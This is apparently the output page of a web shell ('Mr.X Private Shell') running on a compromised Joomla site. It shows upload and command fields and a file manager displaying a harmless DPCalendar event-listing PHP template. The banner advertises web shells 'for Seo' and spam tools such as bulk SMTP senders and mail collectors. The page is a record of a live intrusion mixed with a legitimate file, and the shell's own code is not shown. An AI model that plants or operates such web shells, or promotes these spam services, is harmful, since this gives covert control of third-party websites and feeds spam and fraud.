__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2022 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

\defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper;

if (!$authoredEvents && !$hostEvents) {
	return;
}

$document->loadStyleFile('events.css', 'plg_content_dpcalendar');
?>
<div class="plg-content-dpcalendar-contact-events">
	<?php if ($authoredEvents) { ?>
		<div class="plg-content-dpcalendar-contact-events__header">
            <?php echo $translator->translate('PLG_CONTENT_DPCALENDAR_CONTACT_EVENTS_TITLE_AUTHORED'); ?>
        </div>
		<ul class="plg-content-dpcalendar-contact-events__authors dp-events dp-list dp-list_unordered">
			<?php foreach ($authoredEvents as $event) { ?>
				<li class="dp-event">
					<a href="<?php echo $router->getEventRoute($event->id, $event->catid); ?>" class="dp-event__link dp-link">
						<?php echo $event->title; ?>
					</a>
					<span class="dp-event__date">
						<?php echo $dateHelper->getDateStringFromEvent($event); ?>
					</span>
					<span class="dp-event__calendar">
						<?php $calendar = \Joomla\CMS\Factory::getApplication()->bootComponent('dpcalendar')->getMVCFactory()->createModel('Calendar', 'Administrator')->getCalendar($event->catid); ?>
						<?php echo $calendar != null ? $calendar->getTitle() : $event->catid; ?>
					</span>
			    </li>
			<?php } ?>
		</ul>
	<?php } ?>
	<?php if ($hostEvents) { ?>
		<div class="plg-content-dpcalendar-contact-events__header">
            <?php echo $translator->translate('PLG_CONTENT_DPCALENDAR_CONTACT_EVENTS_TITLE_HOSTS'); ?>
    </div>
		<ul class="plg-content-dpcalendar-contact-events__hosts dp-events dp-list dp-list_unordered">
			<?php foreach ($hostEvents as $event) { ?>
				<li class="dp-event">
					<a href="<?php echo $router->getEventRoute($event->id, $event->catid); ?>" class="dp-event__link dp-link">
						<?php echo $event->title; ?>
					</a>
					<span class="dp-event__date">
						<?php echo $dateHelper->getDateStringFromEvent($event); ?>
					</span>
					<span class="dp-event__calendar">
						<?php $calendar = \Joomla\CMS\Factory::getApplication()->bootComponent('dpcalendar')->getMVCFactory()->createModel('Calendar', 'Administrator')->getCalendar($event->catid); ?>
						<?php echo $calendar != null ? $calendar->getTitle() : $event->catid; ?>
					</span>
				</li>
			<?php } ?>
		</ul>
	<?php } ?>
</div>

Filemanager

Name Type Size Permission Actions
events.php File 2.44 KB 0664
Filemanager